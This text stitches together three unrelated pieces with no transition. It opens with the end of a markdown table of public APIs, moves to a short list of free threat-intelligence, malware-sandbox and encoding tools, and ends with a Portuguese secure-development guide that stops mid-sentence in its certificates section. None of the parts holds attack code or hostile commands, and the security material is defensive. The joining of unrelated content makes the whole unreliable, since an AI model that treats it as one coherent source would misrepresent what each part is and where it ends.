Ipsum Generator | No | Yes | Unknown | | [Dicebear Avatars](https://avatars.dicebear.com/) | Generate random pixel-art avatars | No | Yes | No | | [FakeJSON](https://fakejson.com) | Service to generate test and fake data | `apiKey` | Yes | Yes | | [Identicon](https://www.kwelo.com/media/identicon/) | Generates abstract avatar image | No | Yes | Yes | | [JSONPlaceholder](http://jsonplaceholder.typicode.com/) | Fake data for testing and prototyping | No | No | Unknown | | [Loripsum](http://loripsum.net/) | The "lorem ipsum" generator that doesn't suck | No | No | Unknown | | [PIPL](https://pipl.ir/) | Free and public API that generates random and fake people's data in JSON | No | Yes | No | | [Micro-Jaymock](https://micro-jaymock.now.sh/) | Tiny API mocking microservice for generating fake JSON data | No | Yes | No | | [RandomUser](https://randomuser.me) | Generates random user data | No | Yes | Unknown | | [RoboHash](https://robohash.org/) | Generate random robot/alien avatars | No | Yes | Unknown | | [This Person Does not Exist](https://thispersondoesnotexist.com) | Generates real-life faces of people who do not exist | No | Yes | Unknown | | [UI Names](https://github.com/thm/uinames) | Generate random fake names | No | Yes | Unknown | | [UUID Generator](https://www.uuidtools.com/docs) | Generate UUIDs | No | Yes | No | | [Yes No](https://yesno.wtf/api) | Generate yes or no randomly | No | Yes | Unknown | | [Randommer](https://randommer.io/randommer-api) | Random data generator | `apiKey` | Yes | Yes | **[⬆ Back to Index](#index)** ### Text Analysis | API | Description | Auth | HTTPS | CORS | | :-----------------------------------------------------------------------------------------------------------------------: | --------------------------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [Aylien Text Analysis](http://docs.aylien.com/) | A collection of information retrieval and natural language APIs | `apiKey` | Yes | Unknown | | [Cloudmersive Natural Language Processing](https://www.cloudmersive.com/nlp-api) | Natural language processing and text analysis | `apiKey` | Yes | Yes | | [Detect Language](https://detectlanguage.com/) | Detects text language | `apiKey` | Yes | Unknown | | [Google Cloud Natural](https://cloud.google.com/natural-language/docs/) | Natural language understanding technology, including sentiment, entity and syntax analysis | `apiKey` | Yes | Unknown | | [ParallelDots AI APIs](https://apis.paralleldots.com/text_docs/index.html) | Suite of Text Analysis APIs such as sentiment analysis, keyword extract and named entity extraction | `apiKey` | Yes | Yes | | [Semantira](https://semantria.readme.io/docs) | Text Analytics with sentiment analysis, categorization & named entity extraction | `OAuth` | Yes | Unknown | | [Watson Natural Language Understanding](https://www.ibm.com/watson/developercloud/natural-language-understanding/api/v1/) | Natural language processing for advanced text analysis | `OAuth` | Yes | Unknown | | [Yomi](https://github.com/ookii-tsuki/yomi) | Japanese tokenizer and morphological analysis web API | No | Yes | Yes | **[⬆ Back to Index](#index)** ### Tracking | API | Description | Auth | HTTPS | CORS | | :----------------------------------------------: | ----------------------------------------------------------------------- | :------: | :---: | :-----: | | [Postmon](http://postmon.com.br) | An API to query Brazilian ZIP codes and orders easily, quickly and free | No | No | Unknown | | [Sweden](https://developer.postnord.com/docs2) | Provides information about parcels in transport | `apiKey` | No | Unknown | | [UPS](https://www.ups.com/upsdeveloperkit) | Shipment and Address information | `apiKey` | Yes | Unknown | | [WhatPulse](https://whatpulse.org/pages/webapi/) | Small application that measures your keyboard/mouse usage | No | Yes | Unknown | **[⬆ Back to Index](#index)** ### Transportation | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------------------------------------------------------------------: | ------------------------------------------------------------------------------------------------ | :------: | :---: | :-----: | | [ADS-B Exchange](https://www.adsbexchange.com/data/) | Access real-time and historical data of any and all airborne aircraft | No | Yes | Unknown | | [AIS Web](http://www.aisweb.aer.mil.br/api/doc/index.cfm) | Aeronautical information in digital media produced by the Department of Airspace Control (DECEA) | `apiKey` | No | Unknown | | [Amadeus Travel Innovation Sandbox](https://sandbox.amadeus.com/) | Travel Search - Limited usage | `apiKey` | Yes | Unknown | | [Bay Area Rapid Transit](http://api.bart.gov) | Stations and predicted arrivals for BART | `apiKey` | No | Unknown | | [BlaBlaCar](https://dev.blablacar.com) | Search car sharing trips | `apiKey` | Yes | Unknown | | [Community Transit](https://github.com/transitland/transitland-datastore/blob/master/README.md#api-endpoints) | Transitland API | No | Yes | Unknown | | [GraphHopper](https://graphhopper.com/api/1/docs/) | A-to-B routing with turn-by-turn instructions | `apiKey` | Yes | Unknown | | [Icelandic APIs](http://docs.apis.is/) | Open APIs that deliver services in or regarding Iceland | No | Yes | Unknown | | [Izi](http://api-docs.izi.travel/) | Audio guide for travellers | `apiKey` | Yes | Unknown | | [Metro Lisboa](http://app.metrolisboa.pt/status/getLinhas.php) | Delays in subway lines | No | No | No | | [Navitia](https://api.navitia.io/) | The open API for building cool stuff with transport data | `apiKey` | Yes | Unknown | | [Open Charge Map](https://openchargemap.org/site/develop/api) | Global public registry of electric vehicle charging locations | No | Yes | Unknown | | [REFUGE Restrooms](https://www.refugerestrooms.org/api/docs/#!/restrooms) | Provides safe restroom access for transgender, intersex and gender nonconforming individuals | No | Yes | Unknown | | [Schiphol Airport](https://developer.schiphol.nl/) | Schiphol | `apiKey` | Yes | Unknown | | [TransitLand](https://transit.land/documentation/datastore/api-endpoints.html) | Transit Aggregation | No | Yes | Unknown | | [Transport for Atlanta, US](http://www.itsmarta.com/app-developer-resources.aspx) | Marta | No | No | Unknown | | [Transport for Auckland, New Zealand](https://api.at.govt.nz/) | Auckland Transport | No | Yes | Unknown | | [Transport for Belgium](https://hello.irail.be/api/) | Belgian transport API | No | Yes | Unknown | | [Transport for Bordeaux, France](https://opendata.bordeaux-metropole.fr/explore/) | Bordeaux Métropole public transport and more (France) | `apiKey` | Yes | Unknown | | [Transport for Boston, US](https://mbta.com/developers/v3-api) | MBTA API | No | No | Unknown | | [Transport for Budapest, Hungary](https://bkkfutar.docs.apiary.io) | Budapest public transport API | No | Yes | Unknown | | [Transport for Chicago, US](http://www.transitchicago.com/developers/) | CTA | No | No | Unknown | | [Transport for Czech Republic](https://www.chaps.cz/eng/products/idos-internet) | Czech transport API | No | Yes | Unknown | | [Transport for Denver, US](http://www.rtd-denver.com/gtfs-developer-guide.shtml) | RTD | No | No | Unknown | | [Transport for Finland](https://digitransit.fi/en/developers/) | Finnish transport API | No | Yes | Unknown | | [Transport for Germany](http://data.deutschebahn.com/dataset/api-fahrplan) | Deutsche Bahn (DB) API | `apiKey` | No | Unknown | | [Transport for Grenoble, France](https://data.mobilites-m.fr/donnees) | Grenoble public transport | No | No | No | | [Transport for Honolulu, US](http://hea.thebus.org/api_info.asp) | Honolulu Transportation Information | `apiKey` | No | Unknown | | [Transport for India](https://data.gov.in/sector/transport) | India Public Transport API | `apiKey` | Yes | Unknown | | [Transport for Lisbon, Portugal](https://emel.city-platform.com/opendata/) | Data about buses routes, parking and traffic | `apiKey` | Yes | Unknown | | [Transport for London, England](https://api.tfl.gov.uk) | TfL API | No | Yes | Unknown | | [Transport for Manchester, England](https://developer.tfgm.com/) | TfGM transport network data | `apiKey` | Yes | No | | [Transport for Ottawa, Canada](http://www.octranspo.com/index.php/developers) | OC Transpo next bus arrival API | No | No | Unknown | | [Transport for Paris, France](http://restratpws.azurewebsites.net/swagger/) | Live schedules made simple | No | No | Unknown | | [Transport for Paris, France](http://data.ratp.fr/api/v1/console/datasets/1.0/search/) | RATP Open Data API | No | No | Unknown | | [Transport for Philadelphia, US](http://www3.septa.org/hackathon/) | SEPTA APIs | No | No | Unknown | | [Transport for Sao Paulo, Brazil](http://www.sptrans.com.br/desenvolvedores/api-do-olho-vivo-guia-de-referencia/documentacao-api/) | SPTrans | `OAuth` | No | Unknown | | [Transport for Sweden](https://www.trafiklab.se/api) | Public Transport consumer | `OAuth` | Yes | Unknown | | [Transport for Switzerland](https://opentransportdata.swiss/en/) | Official Swiss Public Transport Open Data | `apiKey` | Yes | Unknown | | [Transport for Switzerland](https://transport.opendata.ch/) | Swiss public transport API | No | Yes | Unknown | | [Transport for The Netherlands](http://www.ns.nl/reisinformatie/ns-api) | NS, only trains | `apiKey` | No | Unknown | | [Transport for The Netherlands](https://github.com/skywave/KV78Turbo-OVAPI/wiki) | OVAPI, country-wide public transport | No | Yes | Unknown | | [Transport for Toronto, Canada](https://myttc.ca/developers) | TTC | No | Yes | Unknown | | [Transport for United States](http://www.nextbus.com/xmlFeedDocs/NextBusXMLFeed.pdf) | NextBus API | No | No | Unknown | | [Transport for Vancouver, Canada](https://developer.translink.ca/) | TransLink | `OAuth` | Yes | Unknown | | [Transport for Washington, US](https://developer.wmata.com/) | Washington Metro transport API | `OAuth` | Yes | Unknown | | [Uber](https://developer.uber.com/products) | Uber ride requests and price estimation | `OAuth` | Yes | Yes | | [WhereIsMyTransport](https://developer.whereismytransport.com/) | Platform for public transport data in emerging cities | `OAuth` | Yes | Unknown | **[⬆ Back to Index](#index)** ### URL Shorteners | API | Description | Auth | HTTPS | CORS | | :------------------------------------------------------------------------: | -------------------------------------------------- | :------: | :---: | :-----: | | [Bitly](http://dev.bitly.com/get_started.html) | URL shortener and link management | `OAuth` | Yes | Unknown | | [CleanURI](https://cleanuri.com/docs) | URL shortener service | `No` | Yes | Yes | | [ClickMeter](https://support.clickmeter.com/hc/en-us/categories/201474986) | Monitor, compare and optimize your marketing links | `apiKey` | Yes | Unknown | | [Rebrandly](https://developers.rebrandly.com/v1/docs) | Custom URL shortener for sharing branded links | `apiKey` | Yes | Unknown | | [F4NSIX](https://www.f4nsix.xyz/api/docs) | URL shortener and track shorten urls | `apiKey` | Yes | Yes | **[⬆ Back to Index](#index)** ### Vehicle | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------: | ------------------------------------------------------------------------------------------------ | :------: | :---: | :-----: | | [Brazilian Vehicles and Prices](https://deividfortuna.github.io/fipe/) | Vehicles information from Fundação Instituto de Pesquisas Econômicas - Fipe | No | Yes | Unknown | | [CarsXE API](https://api.carsxe.com/?ref=public-apis-github) | Vehicle data and vin decoder, specs, plates, market value, ownership cost and images | `apiKey` | Yes | Unknown | | [Kelley Blue Book](http://developer.kbb.com/#!/data/1-Default) | Vehicle info, pricing, configuration, plus much more | `apiKey` | Yes | No | | [Mercedes-Benz](https://developer.mercedes-benz.com/apis) | Telematics data, remotely access vehicle functions, car configurator, locate service dealers | `apiKey` | Yes | No | | [NHTSA](https://vpic.nhtsa.dot.gov/api/) | NHTSA Product Information Catalog and Vehicle Listing | No | Yes | Unknown | | [Smartcar](https://smartcar.com/docs/) | Lock and unlock vehicles and get data like odometer reading and location. Works on most new cars | `OAuth` | Yes | Yes | **[⬆ Back to Index](#index)** ### Video | API | Description | Auth | HTTPS | CORS | | :------------------------------------------------------------------------------------------------: | ---------------------------------------------------------------------------------- | :------: | :---: | :-----: | | [An API of Ice And Fire](https://anapioficeandfire.com/) | Game Of Thrones API | No | Yes | Unknown | | [Breaking Bad](https://breakingbadapi.com/documentation) | Breaking Bad API | No | Yes | Unknown | | [Breaking Bad Quotes](https://github.com/shevabam/breaking-bad-quotes) | Some Breaking Bad quotes | No | Yes | Unknown | | [Czech Television](http://www.ceskatelevize.cz/xml/tv-program/) | TV programme of Czech TV | No | No | Unknown | | [Dailymotion](https://developer.dailymotion.com/) | Dailymotion Developer API | `OAuth` | Yes | Unknown | | [Dune](https://github.com/ywalia01/dune-api) | Dune API | No | Yes | Unknown | | [Harry Potter](https://www.potterapi.com/) | Harry Potter API | `apiKey` | Yes | Yes | | [Open Movie Database](http://www.omdbapi.com/) | Movie information | `apiKey` | Yes | Unknown | | [Owen Wilson Wow](https://owen-wilson-wow-api.onrender.com/) | API for actor Owen Wilson's "wow" exclamations in movies | No | Yes | Yes | | [Potter DB](https://potterdb.com) | Data from the Harry Potter Universe: Characters, Movies, Books, Spells and Potions | No | Yes | Unknown | | [Ron Swanson Quotes](https://github.com/jamesseanwright/ron-swanson-quotes#ron-swanson-quotes-api) | Television | No | Yes | Unknown | | [South Park Quotes](https://github.com/Thatskat/southpark-quotes-api) | A pretty simple API to let you retrieve some of the best quotes from South Park, mmkay! | No | Yes | Yes | | [STAPI](https://stapi.co) | Information on all things Star Trek | No | Yes | Yes | | [TMDb](https://www.themoviedb.org/documentation/api) | Community-based movie data | `apiKey` | Yes | Unknown | | [Trakt](https://trakt.tv/b/api-docs) | Movie and TV Data | `apiKey` | Yes | Yes | | [TVDB](https://api.thetvdb.com/swagger) | Television data | `apiKey` | Yes | Unknown | | [TVMaze](http://www.tvmaze.com/api) | TV Show Data | No | No | Unknown | | [Vimeo](https://developer.vimeo.com/) | Vimeo Developer API | `OAuth` | Yes | Unknown | | [YouTube](https://developers.google.com/youtube/) | Add YouTube functionality to your sites and apps | `OAuth` | Yes | Unknown | | [Shotstack](https://shotstack.io/) | Develop video applications with cloud-based video editing API | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)** ### Weather | API | Description | Auth | HTTPS | CORS | | :--------------------------------------------------------------------: | -------------------------------------------------- | :------: | :---: | :-----: | | [7Timer!](http://www.7timer.info/doc.php?lang=en) | Weather, especially for Astroweather | No | No | Unknown | | [APIXU](https://www.apixu.com/doc/request.aspx) | Weather | `apiKey` | Yes | Unknown | | [Dark Sky](https://darksky.net/dev/) | Weather | `apiKey` | Yes | No | | [MetaWeather](https://www.metaweather.com/api/) | Weather | No | Yes | No | | [MetaWeather with CORS](https://metaweather-with-cors.now.sh/) | Weather | No | Yes | Yes | | [Meteorologisk Institutt](https://api.met.no/weatherapi/documentation) | Weather and climate data | No | Yes | Unknown | | [NOAA Climate Data](https://www.ncdc.noaa.gov/cdo-web/) | Weather and climate data | `apiKey` | Yes | Unknown | | [ODWeather](http://api.oceandrivers.com/static/docs.html) | Weather and weather webcams | No | No | Unknown | | [Open-Meteo](https://open-meteo.com/) | Global weather forecast API for non-commercial use | No | Yes | Yes | | [OpenUV](https://www.openuv.io) | Real-time UV Index Forecast | `apiKey` | Yes | Unknown | | [OpenWeatherMap](http://openweathermap.org/api) | Weather | `apiKey` | No | Unknown | | [Storm Glass](https://stormglass.io/) | Global marine weather from multiple sources | `apiKey` | Yes | Yes | | [Weather Hacks](http://weather.livedoor.com/weather_hacks/) | Weather, for Japan | No | No | No | | [Weatherbit](https://www.weatherbit.io/api) | Weather | `apiKey` | Yes | Unknown | | [Yahoo! Weather](https://developer.yahoo.com/weather/) | Weather | `apiKey` | Yes | Unknown | **[⬆ Back to Index](#index)**

[[_TOC_]] # Free Tools In this section you will find link to free tools sometimes with a short description of what the tool does and how to use it. # Domain and IP Threat Intel ## Talos Intelligence https://talosintelligence.com/ Search by IP, domain, or network owner for real-time threat data. ## URLVoid https://www.urlvoid.com/ Website Reputation Checker This service helps you detect potentially malicious websites. Check the online reputation/safety of a website. ## IPVoid https://www.urlvoid.com/ ## ThreatCrowd https://www.threatcrowd.org/ Search by Domain, IP, Email or Organization ThreatCrowd is now powered by AlienVault® ## Domain Dossier https://centralops.net/co/DomainDossier.aspx The Domain Dossier tool generates reports from public records about domain names and IP addresses to help solve problems, investigate cybercrime, or just better understand how things are set up. These reports may show you: - Owner’s contact information - Registrar and registry information - The company that is hosting a Web site - Where an IP address is geographically located - What type of server is at the address - The upstream networks of a site - and much more # Files & Hash Threat Intel and Sandbox ## Virus Total https://www.virustotal.com/gui/ Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community ## URL Scan https://urlscan.io/ A sandbox for the web This site will give you an image of the the site. Very useful to investigate phishing without visiting the site from your machine. ## Hybrid Analysis https://www.hybrid-analysis.com/ A free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology. Powered by CrowdStrike Falcon® Sandbox. ## Any.run https://app.any.run/ **Note:** You need to create an account. Innovative cloud-based sandbox with full interactive access ## Malwr https://malwr.com/ An online version of Cuckoo Sandbox (currently of line) ## Joe Sandbox https://www.joesandbox.com/ Joe Sandbox detects and analyzes potential malicious files and URLs on Windows, Android, Mac OS, Linux, and iOS for suspicious activities. It performs deep malware analysis and generates comprehensive and detailed analysis reports. This website gives you access to the Community Edition of Joe Sandbox Cloud. It allows you to run a maximum of 15 analyses / month, 5 analyses / day on Windows, Linux and Android with limited analysis output. ## Analyzing Malicious Documents Cheat Sheet https://zeltser.com/analyzing-malicious-documents/ This cheat sheet outlines tips and tools for analyzing malicious documents, such as Microsoft Office, RTF and Adobe Acrobat (PDF) files. To print it, use the one-page PDF version; you can also edit the Word version to customize it for you own needs. ## Malwoverview https://github.com/alexandreborges/malwoverview Malwoverview.py is a simple tool to perform an initial and quick triage of malware samples, URLs and hashes. Additionally, Malwoverview is able to show some threat intelligence information. # Encode / Decode ## Cyberchef https://gchq.github.io/CyberChef/ https://github.com/gchq/CyberChef The Cyber Swiss Army Knife CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser. These operations include simple encoding like XOR or Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X.509 parsing, changing character encodings, and much more. The tool is designed to enable both technical and non-technical analysts to manipulate data in complex ways without having to deal with complex tools or algorithms. It was conceived, designed, built and incrementally improved by an analyst in their 10% innovation time over several years. ## Uncoder https://uncoder.io/ Uncoder.IO is the online translator for SIEM saved searches, filters, queries, API requests, correlation and Sigma rules to help SOC Analysts, Threat Hunters and SIEM Engineers. Serving as one common language for cyber security it allows blue teams to break the limits of being dependent on single tool for hunting and detecting threats and avoid technology lock-in. With easy, fast and private UI you can translate the queries from one tool to another without a need to access to SIEM environment and in a matter of just few seconds. ## One Click Forensics Lab https://0xbanana.com/blog/one-click-forensics-lab-in-the-cloud/ Deploy a DFIR forensics lab with one script on Google Cloud Platform!

# O Tao do Desenvolvimento Seguro Este guia apresenta práticas de desenvolvimento seguro. Cada tópico possui boas práticas de segurança pertinentes àquele assunto. Além disso, para cada tópico há --ou deveria haver :P-- uma classe implementada no arquivo `seguranca.py`, com exemplos práticos. O mais interessante a se notar é que, normalmente, é muito fácil implementar as boas práticas de segurança no código, o que deve servir como motivador para sua adoção. O guia é dividido em vários tópicos, cada um tratando de um assunto específico, que agrega as suas boas práticas. Cada prática utiliza um verbo que indica a ação esperada do programador, como 'use', 'implemente' ou '[nunca] faça'. Dado o grau de abstração deste guia, ele deve se encaixar em vários projetos e linguagens de programação, mas precisa ser adaptado a cada situação, i.e., poderá haver situações onde o programador precisará usar senhas curtas ou usar SMB para transferir arquivos. Entretanto, casos específicos devem ser tratados como aquilo que são --exceções-- e, **principalmente**, [para quebrar regras, deve-se dominá-las primeiro](https://c1.staticflickr.com/9/8550/8711954278_667f63b745_z.jpg). Em todo caso, a não-adoção de uma boa prática deve ser documentada e seguida de medidas de mitigação dos riscos associados. ### Dependências Pacotes no [Ubuntu](http://www.ubuntu.com/) --os dois últimos são requisitos do pyopenssl: `python3`, `libffi-dev`, `python-dev` e `libpq-dev`. Além deles, o arquivo `requirements.txt` tem a lista completa de dependências para execução do `seguranca.py`. ## Lista de Abreviaturas ``` AES Advanced Encryption Standard API Application Programming Interface CBC Cipher Block Chaining CRL Certificate Revocation List --o mesmo que LCR CTR Counter --modo de criptografia de bloco DAST Dynamic Application Security Testing ECB Electronic Codebook ECC Elliptic Curve Cryptography ECDSA Elliptic Curve Digital Signature Algorithm FTP File Transfer Protocol GMT Greenwich Mean Time HTTP Hypertext Transfer Protocol HTTPS Hypertext Transfer Protocol Secure IAST Interactive Application Security Testing LCR Lista de Certificados Revogados LDAP Lightweight Directory Access Protocol LDAPS Lightweight Directory Access Protocol Secure MD Message Digest ORM Object-relational Mapping PBKDF2 Password-Based Key Derivation Function 2 RASP Runtime Application Self-protection RFC Request for Comments RSA Rivest, Shamir, Adleman SAST Static Application Security Testing SHA Secure Hash SIEM Security Information and Event Management SMB Server Message Block SNMP Simple Network Management Protocol SQL Structured Query Language SSH Secure Shell SSL Secure Sockets Layer TLS Transport Layer Security ``` ## 0. Criptografia 0. **NUNCA** crie seu sistema criptográfico: use aqueles já existentes. 1. Entenda o que são as criptografias [simétrica](https://en.wikipedia.org/wiki/Symmetric-key_algorithm) e [assimétrica](https://en.wikipedia.org/wiki/Public-key_cryptography). 2. Na criptografia simétrica, prefira usar o [AES](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard). 3. Na criptografia assimétrica, prefira usar o [RSA](https://en.wikipedia.org/wiki/RSA_(cryptosystem)) ou algum algoritmo baseado em [ECC](https://en.wikipedia.org/wiki/Elliptic_curve_cryptography), como [ECDSA](https://wiki.openssl.org/index.php/Elliptic_Curve_Cryptography) ou [Ed25519](https://ed25519.cr.yp.to/). 4. Entenda o que são [*hashes*](https://en.wikipedia.org/wiki/Hash_function) e [*hashes* autenticados](https://en.wikipedia.org/wiki/Hash-based_message_authentication_code). 5. Prefira usar o algoritmo de *hash* [SHA-2](https://en.wikipedia.org/wiki/SHA-2) --*digest* &gt;= 256 bits-- em vez do [MD5](https://en.wikipedia.org/wiki/MD5#Overview_of_security_issues) ou [SHA-1](https://en.wikipedia.org/wiki/SHA-1#Attacks). 6. Nas cifras de bloco, prefira os modos [CBC](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_Block_Chaining_.28CBC.29) ou [CTR](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29) em vez do [ECB](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_Codebook_.28ECB.29). 7. Entenda que [criptografia é diferente de codificação](https://danielmiessler.com/study/encoding-encryption-hashing-obfuscation/). 8. Use implementações de código-aberto¹ e amplamente testadas dos algoritmos criptográficos, em vez de fazê-las por conta própria. 9. Utilize bibliotecas que requeiram o mínimo de intervenção do programador, como a [NaCl](https://nacl.cr.yp.to/), para evitar erros de programação. ### 0.1. Exemplos A classe `Criptografia` implementa exemplos pertinentes a este tópico. Veja como usá-la: ```python >>> from seguranca import Criptografia >>> c = Criptografia() >>> c.pycrypto_enc('ataque ao amanhecer', ')s3nh4+mu1t0_S3kreT4&') 'zTztObz5VNexu8OWc+ZN6qlwPTgbC14MhC2cGpKmL2S5kI+VivbSpjDosXOSktIp' >>> c.pycrypto_dec('zTztObz5VNexu8OWc+ZN6qlwPTgbC14MhC2cGpKmL2S5kI+VivbSpjDosXOSktIp', ')s3nh4+mu1t0_S3kreT4&') 'ataque ao amanhecer' >>> c.pynacl_enc('ataque ao amanhecer', ')s3nh4+mu1t0_S3kreT4&') 'mjBjla9rVR4314t2YMRP+qYlY1VRn206EjzCdx+kPavgMklsveGoMFDdeq09B0MN4vcy0aH85Fiw0wY=' >>> c.pynacl_dec('mjBjla9rVR4314t2YMRP+qYlY1VRn206EjzCdx+kPavgMklsveGoMFDdeq09B0MN4vcy0aH85Fiw0wY=', ')s3nh4+mu1t0_S3kreT4&') 'ataque ao amanhecer' ``` ## 1. Senhas 1. Não limite o conjunto de caracteres das senhas. 2. Permita senhas realmente longas --e.g., 160 caracteres. 3. Proteja as senhas antes de armazená-las --e.g., usando [*salt*](https://en.wikipedia.org/wiki/Salt_(cryptography)). 4. Considere usar *hashes* autenticados na proteção da senha. 5. Trate os *salts* e as credenciais de *hashes* autenticados como chaves privadas. 6. Crie parâmetros mínimos de senha --e.g., 12 caracteres, com letras minúsculas `[a-z]`, maiúsculas `[A-Z]`, números `[0-9]` e não-alfanuméricos `[!@#$%~^...]`. 7. Use algoritmos de *hash* cujo tempo de processamento possa ser configurado, pois eles tendem a ser mais seguros para essa finalidade --e.g., [PBKDF2](https://en.wikipedia.org/wiki/PBKDF2) e [Argon2](https://en.wikipedia.org/wiki/Argon2). ### 1.1. Exemplos Exemplos deste tópico são implementados na classe `Senhas`, que pode ser usada da seguinte forma: ```python >>> from seguranca import Senhas >>> s = Senhas() >>> s.protege_senha_hmac_sha256('senha super secreta', 'sal super secreto', 'chave do hmac [super secreta]') 'sal super secretoc4cd44c5487f0085e8a95e12ec627af7417ed43cf7e27d52f9a187cbfbbecc6d' >>> s.protege_senha_pbkdf2('senha super secreta', 'sal super secreto', 100001) 'qjFxmVO0TJvCz5WLSFOI/cRAjvOYXp8r2+KA+yXUp1w=' >>> s.protege_senha_argon2('senha super secreta') '$argon2i$v=19$m=512,t=2,p=2$RY6X+K5gL3W0c954OdJjpw$OwNj9fvVV31WBW6MxeA4UQ' ``` ## 2. Autenticação e Autorização 1. Sempre faça autenticação negativa: variáveis que permitirão a entrada no sistema devem ser inicializadas para negar o acesso --cabe ao usuário provar que ele pode entrar. 2. Prefira usar sistemas de autenticação existentes em vez de criar um novo --e.g., [LDAP](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) e [OAuth](https://oauth.net/). 3. Mensagens de erro de autenticação devem informar o problema sem expor dados sensíveis, como nomes de usuário e versões de software. 4. Sempre que possível, implemente o duplo fator de autenticação --RFCs [4226](https://www.ietf.org/rfc/rfc4226.txt) ou [6238](https://www.ietf.org/rfc/rfc6238.txt). 5. Atenção ao usar certificados digitais para autenticação: um sistema que use essa técnica deveria abrir o certificado, baixar a CRL relacionada, verificar se o certificado em questão está lá, verificar a cadeia de emissão do certificado, determinar se a cadeia é acreditada no sistema, obter o identificador do usuário gravado no certificado, verificar se aquele identificador está permitido a acessar o sistema e, só então, permitir o acesso. 6. Estude a utilização de um método bem definido de acesso às informações dentro do programa, como [RBAC](https://en.wikipedia.org/wiki/Role-based_access_control), [DAC](https://en.wikipedia.org/wiki/Discretionary_access_control), [MAC](https://en.wikipedia.org/wiki/Mandatory_access_control) ou [ACL](https://en.wikipedia.org/wiki/Access_control_list). ### 2.1. Exemplos Exemplos implementados na classe `Autenticacao`. Uso: ```python >>> from seguranca import Autenticacao >>> a = Autenticacao() >>> a.segundo_fator('time', 'O}PIk7*9') 613083 >>> a.segundo_fator('hmac', 'O}PIk7*9') 236466 ``` ## 3. Validação 1. Valide todos os dados de entrada adequadamente, tratando com atenção caracteres especiais, como aspas simples e duplas. 2. Limite os *ranges* nos campos de entrada de dados do programa --e.g., um campo para CPF não deveria permitir o envio de 1024 caracteres. 3. Em aplicações web, validações no lado cliente devem ser refeitas no servidor. 4. Parametrize consultas SQL, use um [ORM](https://en.wikipedia.org/wiki/Object-relational_mapping) ou utilize de [*stored procedures*](https://en.wikipedia.org/wiki/Stored_procedure). 5. Considere como dados de entrada: cabeçalhos HTTP, parâmetros para métodos [GET/POST](http://www.w3schools.com/tags/ref_httpmethods.asp), [*cookies*](https://en.wikipedia.org/wiki/HTTP_cookie) e arquivos, por exemplo. 6. Atenção aos *cookies*: evite armazenar dados sensíveis neles, como senhas, e defina datas para expiração das sessões. ### 3.1. Exemplos A classe `Validacao` implementa exemplos desse tópico. Uso: ```python >>> from seguranca import Validacao >>> v = Validacao() >>> v.codifica_b64('entrada duvidosa do usuário') 'ZW50cmFkYSBkdXZpZG9zYSBkbyB1c3XDoXJpbw==' >>> v.decodifica_b64('ZW50cmFkYSBkdXZpZG9zYSBkbyB1c3XDoXJpbw==') 'entrada duvidosa do usuário' ``` ## 4. Transferências 1. Em aplicações web, use [HTTPS](https://en.wikipedia.org/wiki/HTTPS) em vez do [HTTP](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol). 2. Prefira transferir arquivos via [SSH](https://en.wikipedia.org/wiki/Secure_Shell); evite [FTP](https://en.wikipedia.org/wiki/File_Transfer_Protocol) ou [SMB](https://en.wikipedia.org/wiki/Server_Message_Block). 3. No servidor, [desabilite](http://disablessl3.com/) versões inseguras de protocolos de criptografia --e.g., SSLv2 e SSLv3. 4. Crie senhas fortes para cada serviço e evite compartilhá-las entre eles. 5. Considere criptografar todas as conexões que forem feitas pela aplicação --e.g., HTTPS, LDAP over TLS/SSL (LDAPS) e SNMPv3. ## 5. Logs 1. Defina informações importantes que precisam ser armazenadas para fins de auditoria. 2. Considere usar bibliotecas específicas para a geração de logs. 3. Estruture os logs de acordo com algum padrão; evite criar novos --e.g., [syslog-ng](https://en.wikipedia.org/wiki/Syslog-ng) e [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) para datas. 4. Projete seu sistema de logs considerando que ele eventualmente será exportado para um [SIEM](https://en.wikipedia.org/wiki/Security_information_and_event_management). 5. **NUNCA** exponha informações sensíveis em logs --e.g., senhas. 6. Defina os logs de forma que sejam facilmente integráveis com outros sistemas --e.g., gravar o endereço IP/MAC usado pelo usuário para entrar no programa, as ações realizadas pela conta durante a sessão e quando foi feito o *logout*; mais informações poderiam ser obtidas com o cruzamento de dados com outros sistemas de log. 7. Mantenha o tempo dos servidores atualizados de acordo com um serviço confiável e único dentro do domínio, para manter o padrão nos logs --e.g., [NTP.br](http://ntp.br). 8. Prefira armazenar datas de logs com o fuso GMT+0, ajustando o fuso apenas na apresentação para o auditor. 9. Para facilitar futuras pesquisas, defina níveis de log padrões para a aplicação --e.g., *debug*, *info*, *warning*, *error* e *critical*. ### 5.1. Exemplos Exemplos de uso --classe `Logs`: ```python >>> from seguranca import Logs >>> l = Logs() >>> u = input('Nome de usuário: ') Nome de usuário: cemig >>> l.log_aviso('usuário inválido: {}'.format(u)) 2016-08-09 11:03:00,586 WARNING: usuário inválido: cemig >>> print(l.tamanho_log(1000, 60)) ... ``` ## 6. Certificados Digitais 1. Ao usar certificados em software, tenha atenção a quem tem acesso ao servidor onde ele está instalado. 2. De forma segura, remova do servidor certificados vencidos, revogados ou inutilizados por quaisquer outros motivos. 3. Mantenha algum tipo de controle de validade de certificados digitais, considerando que leva-se um tempo entre o pedido de renovação e a emissão do novo certificado --dependendo da morosidade do processo de aquisição do certificado, da criticidade e período de validade dele, considere renovar com 6 meses de antecedência. 4. Evite usar um certificado para mais de uma finalidade. 5. Certificados *wildcard* devem receber atenção especial: o ideal é que seu 'instalador' seja restrito a poucas pessoas e servidores; o uso ideal dele seria em um proxy reverso, fechando conexões seguras com clientes e esse proxy fechando conexões seguras com os servidores usando outros certificados. 6. Revogue o certificado a qualquer evidência de comprometimento do mesmo --lembre-se que, em posse dele, qualquer pessoa pode decriptografar 